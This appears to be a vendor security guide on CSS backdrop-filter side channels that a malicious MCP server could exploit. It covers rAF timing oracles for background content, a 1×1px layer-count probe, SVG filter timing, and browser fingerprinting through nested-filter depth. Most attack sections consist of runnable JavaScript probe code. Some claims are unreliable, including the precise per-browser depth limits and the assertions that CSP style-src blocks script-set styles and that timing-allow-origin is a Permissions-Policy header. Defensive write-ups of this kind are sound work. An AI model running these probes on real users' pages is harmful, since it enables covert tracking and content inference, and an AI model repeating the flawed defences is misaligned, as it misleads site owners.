Security Guide

MCP server CSS backdrop-filter security — GPU compositing side-channel, pixel content oracle, SVG filter timing, browser stack depth fingerprint

CSS backdrop-filter (Chrome 76+, Firefox 103+, Safari 9+) applies a filter — blur, brightness, contrast, saturate — to everything rendered behind the element. To do this, the browser must capture a GPU texture of the background content and run the filter pass on it before compositing the element on top. That GPU compositing requirement creates four attack surfaces: a detectable timing increase from forcing compositing on background layers; a 1×1px probe that distinguishes solid-color backgrounds from multi-layered content via rAF delta; an SVG filter computation time that varies with the color diversity of the background; and browser-specific stack depth limits that fingerprint browser vendor and version.

How CSS backdrop-filter works

backdrop-filter requires the browser to create a "backdrop root" — a snapshot of all rendered content behind the element, composited into a GPU texture — before applying the filter function and then painting the element over the filtered backdrop. This snapshot is more expensive than normal compositing: it forces the GPU to read back the composited background layers (normally write-only from the GPU's perspective) and make them available as input to the filter pipeline. The filter then runs on the GPU over the captured texture. This sequence — snapshot, filter, composite — has measurable rendering cost that varies with background content.

Attack 1: backdrop-filter:blur() forces GPU compositing on background content — detectable via rAF timing

Applying backdrop-filter:blur() to any element causes the browser to promote the background content behind that element into a GPU compositing layer. This GPU promotion is detectable: the requestAnimationFrame callback fires at the GPU vsync boundary, and adding a backdrop-filter to an element with a complex background (video, WebGL canvas, other filtered elements) increases the rAF-to-rAF interval. An MCP server can inject a backdrop-filter on a known location, measure the rAF delta before and after injection, and infer whether the background at that position contains GPU-composited content — without reading any pixels.

// backdrop-filter GPU compositing timing oracle
// Measures rAF frame time before and after applying backdrop-filter to a probe

const probe = document.createElement('div');
probe.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;pointer-events:none;opacity:0.01';
document.body.appendChild(probe);

function measureFrameTime(n, cb) {
  const times = [];
  let last = performance.now();
  function tick() {
    const now = performance.now();
    times.push(now - last);
    last = now;
    if (times.length < n) requestAnimationFrame(tick);
    else cb(times.reduce((a,b) => a+b, 0) / times.length);
  }
  requestAnimationFrame(tick);
}

// Baseline: no backdrop-filter
measureFrameTime(30, baseline => {
  // Apply backdrop-filter
  probe.style.backdropFilter = 'blur(1px)';

  // Measure with backdrop-filter active
  measureFrameTime(30, withFilter => {
    probe.remove();

    const delta = withFilter - baseline;
    // delta > 2ms → complex GPU-composited content behind probe (e.g., video, WebGL)
    // delta ≈ 0ms → simple solid-color or non-GPU background
    // This reveals whether the page has active video/WebGL rendering at the probe position
  });
});

No pixel read required: This attack does not use getImageData, drawImage, or any canvas operation. The timing signal from the requestAnimationFrame delta is sufficient to detect GPU-composited background content without touching the pixels themselves.

Attack 2: 1×1px probe distinguishes solid color from multi-layered background via compositing cost

A backdrop-filter applied to a 1×1px element still triggers the full GPU compositing pipeline for the background area underneath. But the cost of that compositing depends on how many GPU layers the background has: a solid-color background (no sub-elements) composites trivially, while a background with overlapping positioned elements, transformed descendants, or will-change-promoted children requires merging multiple GPU textures. The rAF timing difference between a 1×1px probe over a simple background vs. a complex background encodes background layer count — revealing, for example, whether the element behind the probe is a multi-layer auth dialog or a simple static content area.

// 1×1px probe positioned over target area to detect background complexity
// Background composition: simple (1 layer) vs. complex (N layers) → timing delta

const PROBE_X = 400; // Position over known target (e.g., auth modal center)
const PROBE_Y = 300;

const probe = document.createElement('div');
probe.style.cssText = `
  position: fixed;
  left: ${PROBE_X}px;
  top: ${PROBE_Y}px;
  width: 1px;
  height: 1px;
  backdrop-filter: blur(0px); /* 0px blur — still triggers compositing */
  pointer-events: none;
  z-index: 999999;
`;
document.body.appendChild(probe);

// Measure 60 frames — look for consistent compositing overhead
let frames = 0, totalDelta = 0, lastRaf = performance.now();
function measureProbe(ts) {
  totalDelta += ts - lastRaf;
  lastRaf = ts;
  if (++frames < 60) requestAnimationFrame(measureProbe);
  else {
    probe.remove();
    const avgFrameMs = totalDelta / frames;
    // Compare avgFrameMs to a baseline measured over a known-simple region
    // to infer layer count at PROBE_X, PROBE_Y
  }
}
requestAnimationFrame(measureProbe);

Attack 3: backdrop-filter:url(#svg-filter) with feColorMatrix — computation time encodes background color diversity

The backdrop-filter property accepts an SVG filter reference via url(). SVG filters like feColorMatrix and feComponentTransfer process every pixel in the captured backdrop texture. The computation time for these filters is proportional to the number of pixels in the captured area and — for matrix operations — varies with the range of color values present (due to branch prediction behavior in SIMD matrix implementations). An MCP server that applies backdrop-filter:url(#probe-matrix) over a target region and times the compositing cost via rAF can distinguish backgrounds with many distinct colors (text on white, images, video frames) from monochrome or near-monochrome areas — encoding content diversity without reading a single pixel.

/* SVG filter embedded in the document for the backdrop probe */
/* The feColorMatrix is computationally proportional to pixel value range */
const svgNS = 'http://www.w3.org/2000/svg';
const svg = document.createElementNS(svgNS, 'svg');
svg.style.cssText = 'position:absolute;width:0;height:0;overflow:hidden';
svg.innerHTML = `
  <defs>
    <filter id="probe-matrix" x="0%" y="0%" width="100%" height="100%">
      <feColorMatrix type="matrix"
        values="1 0 0 0 0  0 1 0 0 0  0 0 1 0 0  0 0 0 1 0"/>
    </filter>
  </defs>
`;
document.body.appendChild(svg);

const probe = document.createElement('div');
probe.style.cssText = `
  position: fixed; left: 0; top: 0; width: 300px; height: 200px;
  backdrop-filter: url(#probe-matrix);
  pointer-events: none; opacity: 0.01;
`;
document.body.appendChild(probe);
// Timing via rAF delta reveals background content color complexity

Attack 4: backdrop-filter stack depth limit fingerprints browser vendor and version

Browsers impose an internal limit on the number of nested backdrop-filter stacking contexts. When the limit is exceeded, the browser silently drops the backdrop-filter on deeper elements (or in some implementations returns an error state detectable via getComputedStyle). The limit is browser-specific and version-specific: Chrome imposes ~8 backdrop-filter roots before dropping, Safari allows ~4, Firefox ~6. An MCP server can progressively inject nested backdrop-filter elements and detect the depth at which the filter stops being applied (via rAF timing: the frame cost drops when the browser stops processing the filter) — producing a precise browser fingerprint without reading navigator.userAgent.

// Backdrop-filter stack depth — browser discriminator
// Chrome: ~8 layers, Safari: ~4, Firefox: ~6
// Detectable because rAF frame time drops when browser stops processing filter

async function measureBackdropDepth() {
  const containers = [];
  let parent = document.body;
  let depth = 0;

  function rafDelta() {
    return new Promise(resolve => {
      const t0 = performance.now();
      requestAnimationFrame(t1 => resolve(t1 - t0));
    });
  }

  const baseline = await rafDelta();

  while (depth < 20) {
    const el = document.createElement('div');
    el.style.cssText = 'position:fixed;top:0;left:0;right:0;bottom:0;backdrop-filter:blur(1px);z-index:' + (depth + 1);
    parent.appendChild(el);
    containers.push(el);
    depth++;

    const t = await rafDelta();
    // Once t ≈ baseline again, the browser stopped processing the filter
    if (t < baseline * 1.1) {
      // depth-1 is the max supported backdrop-filter depth for this browser
      break;
    }
  }
  containers.forEach(el => el.remove());
  return depth - 1; // Chrome ≈ 8, Safari ≈ 4, Firefox ≈ 6
}
Attackbackdrop-filter mechanismWhat it revealsBrowser support
GPU compositing timingbackdrop-filter:blur() forces GPU snapshot of backgroundWhether background has active video/WebGL compositing — without pixel readChrome 76+, Firefox 103+, Safari 9+
1×1px pixel oracleMinimal probe triggers full compositing pipelineBackground layer count — distinguishes modal dialogs from static contentAll supporting browsers
SVG filter color complexitybackdrop-filter:url(#feColorMatrix) over target regionBackground color diversity — distinguishes text, images, video from solid fillsVaries (Chrome, Safari partial)
Stack depth browser fingerprintNested backdrop-filter elements until limitBrowser vendor and approximate version — Chrome ≈ 8, Safari ≈ 4, Firefox ≈ 6All supporting browsers

SkillAudit findings for CSS backdrop-filter

MEDIUMGPU compositing timing oracle: applying backdrop-filter:blur() and measuring rAF frame time delta before/after reveals whether background content is GPU-composited (video, WebGL, other filtered elements) without reading pixel data — a passive background content probe.
MEDIUM1×1px compositing cost oracle: a 1×1px backdrop-filter:blur(0px) probe positioned over a target area detects background GPU layer count via rAF timing, distinguishing multi-layer auth dialogs from static content without canvas access.
LOWSVG filter computation timing: backdrop-filter:url(#feColorMatrix) over a target region encodes background color diversity via GPU filter computation time — passive content characterization without pixel extraction.
LOWBrowser stack depth fingerprint: probing nested backdrop-filter depth limits produces a browser-specific integer (Chrome ≈ 8, Safari ≈ 4, Firefox ≈ 6) that discriminates browser vendor and version without reading navigator.userAgent.

Defences

CSP style-src blocks injection: All four attacks require the MCP server to inject backdrop-filter elements. A strict Content-Security-Policy: style-src 'self' header blocks inline style injection, preventing probe element creation.

Timing API coarsening: The compositing timing oracle depends on requestAnimationFrame timestamps with sub-millisecond precision. Sites that coarsen performance.now() via the Permissions-Policy timing-allow-origin header or via jitter injection reduce the reliability of the timing signal — though rAF timing is less affected than performance.now() directly.

Audit MCP server code for backdropFilter style assignments: SkillAudit flags MCP servers that set element.style.backdropFilter or inject backdrop-filter via CSS on probe elements (1×1px, pointer-events:none) combined with requestAnimationFrame timing loops.

Use isolation: isolate on sensitive containers: CSS isolation: isolate creates a new stacking context for the element, which may prevent the backdrop-filter probe from compositing the isolated element's content into its background texture (browser-dependent).

Related: CSS filter security · CSS will-change GPU compositing security · CSS scroll-driven animations security